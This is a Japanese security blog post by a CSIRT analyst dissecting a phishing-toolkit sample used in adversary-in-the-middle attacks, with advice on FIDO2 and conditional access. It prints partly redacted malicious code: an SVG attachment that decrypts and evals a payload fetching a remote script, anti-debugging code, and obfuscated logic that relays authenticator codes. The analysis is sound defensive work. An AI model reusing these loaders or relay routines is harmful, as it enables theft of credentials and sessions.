エムオーテックス株式会社が運営するテックブログです。

誰もがフィッシングサイトを作れる時代に?フィッシングツールキットで作られたファイルやサイトを解析

誰もがフィッシングサイトを作れる時代に?フィッシングツールキットで作られたファイルやサイトを解析

はじめに

こんにちは。プロフェッショナルサービス本部 xSIRT サービス課の刀川 郁也です。

私はCSIRT(Computer Security Incident Response Team)のサービスを担当しており、お客様の組織内で発生したセキュリティインシデントに対処するチームの一員です。セキュリティ事故が発生した際には緊急対応を行い、平常時には脆弱性情報の収集や、お客様組織の従業員向けにセキュリティの啓発活動を行っています。

近年、証券口座への不正アクセスが話題となっているのをご存知でしょうか? 2025 年に入り、TV ニュースでもこの話題を目にする機会が増えました。金融庁も注意喚起を行っており、特に2025年4月・5月に不正アクセスが増加していることが分かります。

図1 インターネット取引サービスへの不正アクセス・不正取引による被害が急増しています:金融庁

これには、フィッシングサイトを起点に二要素認証を突破する手口が見つかり、さらにそのようなフィッシングサイトを簡単に作成するツールが出回っているということが背景にあると考えています。

今回は、フィッシングツールキットで作成されたファイルやフィッシングサイトを解析し、皆様に手口を知っていただきたいと思います。

二要素認証突破する手口(AiTM攻撃)とは

AiTM(Adversary-in-the-Middle)攻撃とは、最終的に「二要素認証に成功した」というセッション情報(認証トークンや Cookie など)を盗み取り、不正アクセスを成立させる手法です。 攻撃者が用意したフィッシングサイトが、ワンタイムパスワードなどの認証情報を中継することで、この攻撃が成立します。

図2 AiTM攻撃の流れ

AiTM攻撃を加速させるPhaaS

この攻撃が広がる背景として、AiTM攻撃用のフィッシングサイトを作成するツールが売買されていることが挙げられます。このサービスモデルは、PhaaS(Phishing as a Service)と呼ばれ、ツールを利用することで比較的簡単にフィッシング攻撃が可能となります。

また、ANY.RUN*1の解析トレンドでも、ツールキットで作成されたフィッシングサイトやフィッシングサイトに誘導するマルウェアが上位にランクインしていました。攻撃数が増加し、多くのマルウェアが配布された結果、解析数が増加しているのではないかと推測します。

図3 ANY.RUNにおけるマルウェア解析トレンド(2025/9/12時点)

では、このツールキットで作成されたファイルやサイトは、どのように動作し、私たちに脅威をもたらすのでしょうか。今回は、実際にそのツールで作成されたフィッシングサイトの挙動を分析します。なお、解析は安全な検証環境で実施しています。マルウェア感染や犯罪につながる恐れがあるため、ツールの悪用や通常のPCへのダウンロードはお控えください。

解析

今回は、攻撃の起点と思われるSVGファイルから調査します。*2

図4 SVGファイル のダウンロード

このSVG ファイルがフィッシングメールに添付されていたものだと考えられます。SVG ファイルには JavaScript を記述でき、スクリプトを実行できる点が攻撃者にとっての利点です。

次にこのファイルを開いてみます。 ファイルをクリックすると、ray-370[.]sostiosai[.]sa[.]com に通信が発生しました。この通信先が攻撃者の用意したフィッシングサイトであると考えられます。

図5 SVGファイル を開いた際の通信

さて、実際にこのサイトにアクセスしてみます。 アクセスすると、CAPTCHA の画面が表示されました。これは、自動化プログラムなどによる不正アクセスを防止する機能となりますが、攻撃者側も解析ツールなどによる調査を妨げる目的でも導入している可能性があります。

図6 SVG ファイルを開いた際に表示される画面

このCAPTCHAに回答すると、Microsoftのログインページを模した画面に遷移し、その後、ある正規サイトのログイン画面を模した画面が表示されました。通信先は、変わらずray-370[.]sostiosai[.]sa[.]comですから、この画面に情報を入力すると攻撃者のサイトに情報が中継されると考えられます。

図7 Microsoftのログインページを模した画面への遷移

図8 正規サイトを模したフィッシングサイト

ここで、さきほどのSVG ファイルのコードを見てみます。(一部抜粋、一部加工*3

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www[.]XXX[.]org/2000/svg">
<script>
<![CDATA[Z='*ferdXXXXXlos@hudsXXXXXXXXXXXgy.com';
const e="d1ca71ac1871167f805c8e97",
Y="13580d0558464f0f5e5b5645585959485042500518/*途中省略*/c047c3b011c1609121613106772111c06000d554a133f02";
let P=0,I="";
for(let d=0;d<Y.length;d+=2){
 let M=parseInt(Y[d]+Y[d+1],16)^e.charCodeAt(P++%e.length);
 I+=String.fromCharCode(M)
}
const f=String,y=f.prototype.concat.bind("e")("v").concat("a").concat("l"),J=globalThis[y]J(I);]]>
</script>
</svg>

このプログラムは、暗号化された文字列 Y を鍵 e で復号し、復号した JavaScript コードを eval() で実行する構造です。 このプログラムを安全な形式に置き換え、文字列を復号すると以下のようなプログラムとなりました。

(function(){
  /*途中省略*/
  s.src = 'https[:]//hudsXXXXXXXXXXXgy[.]com/js/jquery.min.js';
  /*途中省略*/
})();

外部サイトから jquery.min.js を読み込んで実行しています。このスクリプトで正規サイトの見た目や挙動を模倣していると推測します。 また、メールアドレスがプログラムに埋め込まれています。このことから、攻撃者は漏えいしたメールアドレスのドメインをもとに調査を行い、M365 アカウントのログイン画面が外部公開されている企業を狙って、カスタマイズしたフィッシングサイトへ誘導していると推測します。 後述しますが、このような挙動から、企業のログイン画面は「特定の IP アドレスのみアクセス許可」などの制限を行う対策が有効だと考えられます。

次にこのフィッシングサイトがどのような動きをするのか分析します。ブラウザの開発者ツールを使いプログラムを確認しました。

図9 フィッシングサイトを開発者モードで開いた様子

図9にある通り、デバッグモードが一時停止となりました。 ここで表示されているプログラムを見てみます。(一部抜粋、一部加工*4

(function ouOqvSdIIS() {
    let XIKIDpATKA = false;
    const MssQfjFjhu = 100;

    setInterval( () => {
        const EvEXLxHWmS = performance["now"]();
        debugger ;const yBftMqUAEh = performance["now"]();

        if (yBftMqUAEh - EvEXLxHWmS > MssQfjFjhu && !XIKIDpATKA) {
            qHclKXnLEh = true;
            XIKIDpATKA = true;
            iQWqOFFLNp["location"]["replace"]("https[:]//www[.]shoXXX[.]com");
        }
    }
    , 100);

ランダムな文字列で少々難読化されていますが、開発者ツールなどのデバッガーによって処理が停止すると、https[:]//www[.]shoXXX[.]comという別サイトに強制遷移する動きです。つまり、サイトの分析を防ぐための「アンチデバッグ」機能が備わっているということです。

したがって、解析できる範囲に限りがありますが、採取できたプログラムを分析していきます。

const [cove89Core,vanta93Grid,juno96Pulse] = "vuIa3RlrQyLp82QqN5ddfPpB8VjfkdIO
O/5xEmo+MVjO5QfyfyCMkcE4A0hT/6p18CHE5EU9v/T+7WscTS6DpUOeoOBxbRgRDJ
/*途中省略*/
LrTWBt3xWqKWgKnCQDkpKCotgklmMLOy5/jIYQbi1xy6dLd73sP9AkOQNgolfEdBzY4Bh
LXw==:814052:MWQ3ZDkwZGM=".split(":");

const formx23Axis = parseInt(vanta93Grid);
const umbra58Grid = ['b', 'o', 't', 'a'].reverse().join('');
const elev50Form = globalThis[umbra58Grid](juno96Pulse);
const corex71Port = globalThis[umbra58Grid](cove89Core);
const driftPort = formx23Axis + elev50Form.charCodeAt(0);
let ionix8Tier = driftPort;
let muxPack = function() {
    ionix8Tier = (ionix8Tier * 9301 + 49297) % 233280;
    return ionix8Tier / 233280;
};
let hexon16State = "";
for (let formxPulse = 0; formxPulse < corex71Port.length; formxPulse++) {
    hexon16State += String.fromCharCode(Math.floor(muxPack() * 256));
}
const jouleHold = hexon16State;
let hoverCore = formx23Axis + 99;
let driftMod = function() {
    hoverCore = (hoverCore * 9301 + 49297) % 233280;
    return hoverCore / 233280;
};
let jouleShell = [];
for (let hexonRun = 0; hexonRun < corex71Port.length; hexonRun++) {
    jouleShell.push(Math.floor(driftMod() * 25) + 1);
}
const shadeBase = jouleShell;
let yield97Path = "";
for (let umbraSet = 0; umbraSet < corex71Port.length; umbraSet++) {
    let krestMod = corex71Port[umbraSet];
    let orbit74Core = corex71Port.charCodeAt(umbraSet);
    if (/[A-Za-z]/.test(krestMod)) {
        const relay65Pack = krestMod <= "Z" ? 65 : 97;
        orbit74Core = ((orbit74Core - relay65Pack - shadeBase[umbraSet] + 26) % 26) + relay65Pack;
    }
    orbit74Core = orbit74Core ^ jouleHold.charCodeAt(umbraSet);
    yield97Path += String.fromCharCode(orbit74Core);
}
const astro76State = yield97Path;
const astro63Stack = globalThis;
const novaRun = ['eight'[0] + 'vapor'[0], 'maple'.charAt(1), 'tool'.charAt(3)];
const formx88Link = [...novaRun[0], novaRun[1], novaRun[2]].join('');
const inlay42Grid = {
    get terra53Mapx() {
        astro63Stack[formx88Link](astro76State);
    }
};
with (inlay42Grid) {
    terra53Mapx;
}

このプログラムも難読化されており、「cove89Core」に格納された文字列を復号することで、読める形式のプログラムを取り出すことができます。 ここで先ほど同様、安全に加工して本プログラムを実行し、いくつかの処理を加えると以下のようになりました。(一部抜粋)

図10 難読化されたプログラムのデコード

const _0x305c9c=_0x494d;
(function(_0x3483b8,_0x347609){const _0x20188a=_0x494d,_0x2a777c=_0x3483b8();
while(!![]){try{const _0x35a586=-parseInt(_0x20188a(0x316))/0x1+-parseInt(_0x20188a(0x2d3))/0x2+parseInt(_0x20188a(0x1ae))/0x3+parseInt(_0x20188a(0x2f7))/0x4*(parseInt(_0x20188a(0x197))/0x5)+parseInt(_0x20188a(0x30c))/0x6+-parseInt(_0x20188a(0x306))/0x7+-parseInt(_0x20188a(0x27d))/0x8*(-parseInt(_0x20188a(0x2ca))/0x9);
if(_0x35a586===_0x347609)break;
else _0x2a777c['push'](_0x2a777c['shift']());
}catch(_0x1f2532){_0x2a777c['push'](_0x2a777c['shift']());
}}}(_0x415c,0x53e34));
var webnotfound=![],interacted=0x0,multipleaccountsback=0x0;
let wait2facancel=0x0,otptype=0x0;
var currentweb=0x0,pagevisitedalready=null;
let viewtype=null,pdfcheck=0x0;
!document['getElementById'](_0x305c9c(0x239))[_0x305c9c(0x1c8)][_0x305c9c(0x337)](_0x305c9c(0x2f2))&&(view='uname');
document['getElementById'](_0x305c9c(0x348))&&!document['getElementById'](_0x305c9c(0x348))['classList']['contains'](_0x305c9c(0x2f2))&&(view=_0x305c9c(0x2f6));
document[_0x305c9c(0x1e0)]('sections_doc')&&!document[_0x305c9c(0x1e0)](_0x305c9c(0x259))[_0x305c9c(0x1c8)][_0x305c9c(0x337)]('d-none')&&(view='uname_doc');
document[_0x305c9c(0x1e0)](_0x305c9c(0x32f))&&(view=_0x305c9c(0x2af));
document[_0x305c9c(0x210)]('keyup',function(_0x3c0a50){const _0x5ed490=_0x305c9c;
if(_0x3c0a50[_0x5ed490(0x1ab)]===_0x5ed490(0x317)&&requestsent==![]){view==_0x5ed490(0x25f)&&(document['getElementById'](_0x5ed490(0x28d))[_0x5ed490(0x2f1)]('#godaddysignin')!==null&&document['getElementById'](_0x5ed490(0x28d))[_0x5ed490(0x2f1)](_0x5ed490(0x1a8))[_0x5ed490(0x311)]());
view=='pwd_okta'&&(document['getElementById']('sections_okta')[_0x5ed490(0x2f1)](_0x5ed490(0x2bf))!==null&&document[_0x5ed490(0x1e0)]('sections_okta')[_0x5ed490(0x2f1)](_0x5ed490(0x2bf))[_0x5ed490(0x311)]());
if(view!==_0x5ed490(0x25f)&&view!==_0x5ed490(0x345)){if(document['getElementById'](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)](_0x5ed490(0x2a6))!==null)document[_0x5ed490(0x1e0)](_0x5ed490(0x265)+view)['querySelector']('#btn_next')[_0x5ed490(0x311)]();
else{if(document[_0x5ed490(0x1e0)]('section_'+view)['querySelector'](_0x5ed490(0x34a))!==null)document[_0x5ed490(0x1e0)]('section_'+view)[_0x5ed490(0x2f1)](_0x5ed490(0x34a))[_0x5ed490(0x311)]();
else{if(document['getElementById'](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)](_0x5ed490(0x334))!==null)document[_0x5ed490(0x1e0)](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)](_0x5ed490(0x334))[_0x5ed490(0x311)]();
else{if(document['getElementById'](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)]('#btn_sig')!==null)document[_0x5ed490(0x1e0)](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)]('#btn_sig')[_0x5ed490(0x311)]();
else{if(document['getElementById'](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)](_0x5ed490(0x27c))!==null)document[_0x5ed490(0x1e0)](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)](_0x5ed490(0x27c))['click']();
else{if(document['getElementById']('section_'+view)[_0x5ed490(0x2f1)](_0x5ed490(0x31d))!==null)document['getElementById'](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)](_0x5ed490(0x31d))[_0x5ed490(0x311)]();
else{if(document['getElementById'](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)]('#btn_verifyotp')!==null)document[_0x5ed490(0x1e0)]('section_'+view)[_0x5ed490(0x2f1)]('#btn_verifyotp')['click']();
else{if(document[_0x5ed490(0x1e0)](_0x5ed490(0x265)+view)['querySelector'](_0x5ed490(0x29a))!==null)document[_0x5ed490(0x1e0)]('section_'+view)['querySelector'](_0x5ed490(0x29a))[_0x5ed490(0x311)]();
else document[_0x5ed490(0x1e0)](_0x5ed490(0x265)+view)[_0x5ed490(0x2f1)](_0x5ed490(0x2b2))!==null&&document[_0x5ed490(0x1e0)](_0x5ed490(0x265)+view)['querySelector'](_0x5ed490(0x2b2))['click']();
}}}}}}}}}});
function validatediginp(_0x323830){const _0x243352=_0x305c9c;
_0x323830[_0x243352(0x18f)]=_0x323830[_0x243352(0x18f)][_0x243352(0x2c0)](/\D/g,'');
}function loadinganimation(_0x21175f){const _0x12aaa2=_0x305c9c;
_0x21175f==0x0&&(document[_0x12aaa2(0x1e0)]('section_'+view)[_0x12aaa2(0x2f1)]('.loading-container')[_0x12aaa2(0x1c8)][_0x12aaa2(0x1a5)]('loading'),document[_0x12aaa2(0x1e0)]('section_'+view)[_0x12aaa2(0x2f1)](_0x12aaa2(0x241))[_0x12aaa2(0x2d2)][_0x12aaa2(0x2ab)]=_0x12aaa2(0x18c)),_0x21175f==0x1&&(document[_0x12aaa2(0x1e0)](_0x12aaa2(0x265)+view)[_0x12aaa2(0x2f1)](_0x12aaa2(0x309))['classList'][_0x12aaa2(0x270)](_0x12aaa2(0x1f9)),document[_0x12aaa2(0x1e0)](_0x12aaa2(0x265)+view)[_0x12aaa2(0x2f1)]('.sectioncontent')[_0x12aaa2(0x2d2)][_0x12aaa2(0x2ab)]=_0x12aaa2(0x1ee));
}function runanimation(_0x179dba,_0x5081e5,_0x31b31f,_0x1dd768){const _0x1dcbdc=_0x305c9c;
_0x1dd768==undefined&&(_0x1dd768=0x1),_0x1dd768==0x0&&(_0x1dd768=''),_0x1dd768==0x1&&(_0x1dd768='forwards'),_0x179dba==0x0&&(document[_0x1dcbdc(0x1e0)](_0x1dcbdc(0x265)+_0x5081e5)[_0x1dcbdc(0x2f1)](_0x1dcbdc(0x241))[_0x1dcbdc(0x2d2)][_0x1dcbdc(0x2ab)]=_0x1dcbdc(0x2bb)+_0x31b31f+'s\x20'+_0x1dd768+''),_0x179dba==0x1&&(document[_0x1dcbdc(0x1e0)]('section_'+_0x5081e5)['querySelector'](_0x1dcbdc(0x241))[_0x1dcbdc(0x2d2)][_0x1dcbdc(0x2ab)]=_0x1dcbdc(0x2ce)+_0x31b31f+'s\x20'+_0x1dd768+''),_0x179dba==0x2&&(document[_0x1dcbdc(0x1e0)](_0x1dcbdc(0x265)+_0x5081e5)[_0x1dcbdc(0x2f1)]('.sectioncontent')[_0x1dcbdc(0x2d2)]['animation']='hide-to-left\x20'+_0x31b31f+'s\x20'+_0x1dd768+''),_0x179dba==0x3&&(document[_0x1dcbdc(0x1e0)]('section_'+_0x5081e5)[_0x1dcbdc(0x2f1)]('.sectioncontent')[_0x1dcbdc(0x2d2)][_0x1dcbdc(0x2ab)]='show-from-left\x20'+_0x31b31f+'s\x20'+_0x1dd768+'');
}function changebackbutton(_0x3d7d7c,_0x560a24){const _0x30e010=_0x305c9c;
_0x560a24==0x0&&(document[_0x30e010(0x1e0)]('section_'+_0x3d7d7c)[_0x30e010(0x2f1)](_0x30e010(0x255))[_0x30e010(0x2d2)][_0x30e010(0x1ed)]=_0x30e010(0x188)),_0x560a24==0x1&&(document[_0x30e010(0x1e0)](_0x30e010(0x265)+_0x3d7d7c)[_0x30e010(0x2f1)](_0x30e010(0x255))['style'][_0x30e010(0x1ed)]=_0x30e010(0x248));
}function wait2fa(_0x299006,_0x828697){const _0x497536=_0x305c9c;
if(wait2facancel==0x0){if(_0x299006==_0x497536(0x261)){let _0x1069d9=null;
_0x1069d9=_0x828697,sendAndReceive(_0x497536(0x1c1),[_0x1069d9,_0x497536(0x1e5)],0x1)[_0x497536(0x201)](_0xdbffa=>{const _0x9ee08a=_0x497536;
if(_0xdbffa&&view==_0x9ee08a(0x307)||_0xdbffa&&view==_0x9ee08a(0x319)){_0xdbffa[_0x9ee08a(0x2cb)]==_0x9ee08a(0x292)&&(document[_0x9ee08a(0x1e0)]('section_authapp')[_0x9ee08a(0x1c8)]['toggle']('d-none'),document['getElementById'](_0x9ee08a(0x20f))[_0x9ee08a(0x1c8)][_0x9ee08a(0x270)](_0x9ee08a(0x2f2)),view=_0x9ee08a(0x1e8));
_0xdbffa[_0x9ee08a(0x2cb)]==_0x9ee08a(0x244)&&(checkerrordesc('protect_account_live',0x0,_0xdbffa[_0x9ee08a(0x2ac)]),document[_0x9ee08a(0x1e0)](_0x9ee08a(0x265)+view)[_0x9ee08a(0x1c8)]['toggle']('d-none'),document[_0x9ee08a(0x1e0)](_0x9ee08a(0x1f5))[_0x9ee08a(0x1c8)][_0x9ee08a(0x270)](_0x9ee08a(0x2f2)),view=_0x9ee08a(0x186));
_0xdbffa['message']=='more\x20info\x20required'&&moreinforeq();
_0xdbffa[_0x9ee08a(0x2cb)]==_0x9ee08a(0x2eb)&&setTimeout(function(){wait2fa(_0x299006,_0x828697);
},0x1f40);
_0xdbffa[_0x9ee08a(0x2cb)]==_0x9ee08a(0x2f5)&&setTimeout(function(){wait2fa(_0x299006,_0x828697);
},0x7d0);
_0xdbffa['message']=='duplicate\x20request'&&(wait2facancel=0x1,document[_0x9ee08a(0x1e0)](_0x9ee08a(0x22a))['classList'][_0x9ee08a(0x337)](_0x9ee08a(0x2f2))&&(document['getElementById'](_0x9ee08a(0x22a))[_0x9ee08a(0x2f1)](_0x9ee08a(0x293))[_0x9ee08a(0x192)]=_0x9ee08a(0x2b0),setTimeout(function(){const _0x14ecb4=_0x9ee08a;
document[_0x14ecb4(0x1e0)](_0x14ecb4(0x265)+view)[_0x14ecb4(0x2f1)](_0x14ecb4(0x309))['classList']['remove'](_0x14ecb4(0x1f9)),runanimation(0x2,view,0.5,0x0),setTimeout(function(){const _0x42a55b=_0x14ecb4;
document['getElementById'](_0x42a55b(0x265)+view)['classList'][_0x42a55b(0x256)](_0x42a55b(0x2f2)),document[_0x42a55b(0x1e0)](_0x42a55b(0x22a))[_0x42a55b(0x2f1)](_0x42a55b(0x1b7))['style'][_0x42a55b(0x1ed)]=_0x42a55b(0x248),document[_0x42a55b(0x1e0)](_0x42a55b(0x22a))['querySelector'](_0x42a55b(0x2c3))['style']['display']='block',document[_0x42a55b(0x1e0)]('section_tryagainlater')[_0x42a55b(0x2f1)](_0x42a55b(0x241))[_0x42a55b(0x2d2)][_0x42a55b(0x2ab)]=_0x42a55b(0x254),document[_0x42a55b(0x1e0)]('section_tryagainlater')[_0x42a55b(0x1c8)][_0x42a55b(0x270)](_0x42a55b(0x2f2)),view='tryagainlater';
},0xc8);
},0x1f4)));
_0xdbffa[_0x9ee08a(0x2cb)]=='approved'&&(document[_0x9ee08a(0x1e0)](_0x9ee08a(0x2a1))[_0x9ee08a(0x1c8)][_0x9ee08a(0x256)](_0x9ee08a(0x2f2)),document['getElementById'](_0x9ee08a(0x1d9))[_0x9ee08a(0x1c8)]['remove'](_0x9ee08a(0x2f2)),view='final');
_0xdbffa[_0x9ee08a(0x2cb)]==_0x9ee08a(0x278)&&(document[_0x9ee08a(0x1e0)](_0x9ee08a(0x1bd))[_0x9ee08a(0x1c8)][_0x9ee08a(0x256)](_0x9ee08a(0x2f2)),document['getElementById'](_0x9ee08a(0x1d9))['classList']['remove'](_0x9ee08a(0x2f2)),view='final');
if(_0xdbffa[_0x9ee08a(0x2cb)]==_0x9ee08a(0x202)){document[_0x9ee08a(0x1e0)](_0x9ee08a(0x1e2))['querySelector'](_0x9ee08a(0x293))[_0x9ee08a(0x2fc)]=_0xdbffa[_0x9ee08a(0x344)];
var _0x1cad48=_0xdbffa['description'];
document[_0x9ee08a(0x1e0)](_0x9ee08a(0x1fd))['innerHTML']=_0x9ee08a(0x2e4)+_0x1cad48['text']+'</span><a\x20id=\x22ViewDetails\x22\x20class=\x22no-wrap\x22\x20href=\x22#\x22>View\x20details</a>',

完全に難読化は解除できていないものの、HTML のタグや getElementById などの操作が確認できました。 さらに、変数を代入し難読化を解除しながらプログラムを見ていくと以下のような記述がありました。

if (viewtype !== null) {
    if (_0x55ad74.textContent == _0x1ddd5d(0x251) || _0x55ad74.textContent == 'Microsoft Authenticator') {
        _0xda2788 = _0x1ddd5d(0x1ea);
    }
    if (_0x55ad74.textContent == 'Enter a security code') {
        _0xda2788 = _0x1ddd5d(0x322);
    }
}

if (_0x55ad74.textContent == _0x1ddd5d(0x350) || _0x55ad74.textContent == _0x1ddd5d(0x1a0) || _0x55ad74.textContent == _0x1ddd5d(0x1db) || _0x55ad74.textContent == _0x1ddd5d(0x2a2)) {
    sendAndReceive(_0x1ddd5d(0x273), [_0xda2788], 1).then(_0x55b494 => {
        const _0xa2c875 = _0x1ddd5d;

Microsoft Authenticatorの記述があり、さらに、textContent により入力内容を取得していることが分かります。 この記述から、Microsoft Authenticatorで生成されたセキュリティコードを読み込んでいると推測されます。 また、 読み込んだセキュリティコードを sendAndReceive で外部送信している可能性が高く、この記述が二要素認証の入力情報を転送する役割を持つと考えられます。

今回は二要素認証を転送すると思われるプログラムを発見できたことから、分析はここまでとします。

新たな発見として、アンチデバッグ機能の搭載を確認しました。この動作についてはセキュリティ専門家による調査の妨害はもちろん、プログラムコピーなどによる技術情報の漏えいを防ぐ目的もあるのではないかと考えます。 PhaaSは、このようなフィッシングサイトを作成するツールを売買することで利益を得るモデルであるため、プログラムの漏洩を防ぎ、分析妨害でツールキットの価値を守る狙いがあるのかもしれません。

このような攻撃から身を守るには

このようなフィッシングサイトから身を守るためには、フィッシングサイトへ誘導されない対策を講じると共に、AiTM攻撃に耐性のある認証方法を利用することが重要です。

認証に関する対策

  • FIDO2 や証明書ベースの認証を利用する
    Microsoft でも上記の認証方式が推奨されています。*5
    このような認証方式は、AiTM攻撃のミソである「攻撃者による正規サイトと利用者との通信の中継」に耐性があります。 ワンタイムパスワードは中継され得ますが、FIDO2 等は、認証に必要な情報をフィッシングサイトから正規サイトへ中継できない仕組みです。

  • 条件付きアクセスポリシーの設定
    普段とは異なる IP アドレスからの認証を拒否する、接続を許可する IP アドレスを制限する等のポリシーで、不正ログインのリスクを低減できます。

フィッシングに関する対策

  • メールなどに記載されているURLからのアクセスを避け、ブックマークした公式サイトからログインする
    攻撃者は、メールや広告など様々な方法でフィッシングサイトへ誘導します。このようなフィッシングサイトへアクセスをしない対策として、公式サイトをブックマークし、そこからアクセスする運用を徹底しましょう。

最後に

「二要素認証だから安心」ではなくなってきている状況がお分かりいただけたかと思います。 認証基盤を管理する企業側と利用者側のそれぞれが上述のような対策を講じることが重要です。

この記事が、皆さまのフィッシング被害防止に役立つことを願っています。

*1:マルウェアなどのファイルをサンドボックス環境で解析するオンラインサービス

*2:SHA256 : 442B9686761D0ABC984ECB614448D26E92AB09031A367ACB5EFD6AE0D6844719

*3:攻撃者の用意したサイトや危険なコードが含まれる可能性があるため一部加工しています。

*4:攻撃者の用意したサイトや危険なコードが含まれる可能性があるため一部加工しています。

*5:Microsoft Security Blog(AiTM に関する解説記事) https://www.microsoft.com/en-us/security/blog/2022/07/12/from-cookie-theft-to-bec-attackers-use-aitm-phishing-sites-as-entry-point-to-further-financial-fraud/https://www.microsoft.com/en-us/security/blog/2022/07/12/from-cookie-theft-to-bec-attackers-use-aitm-phishing-sites-as-entry-point-to-further-financial-fraud/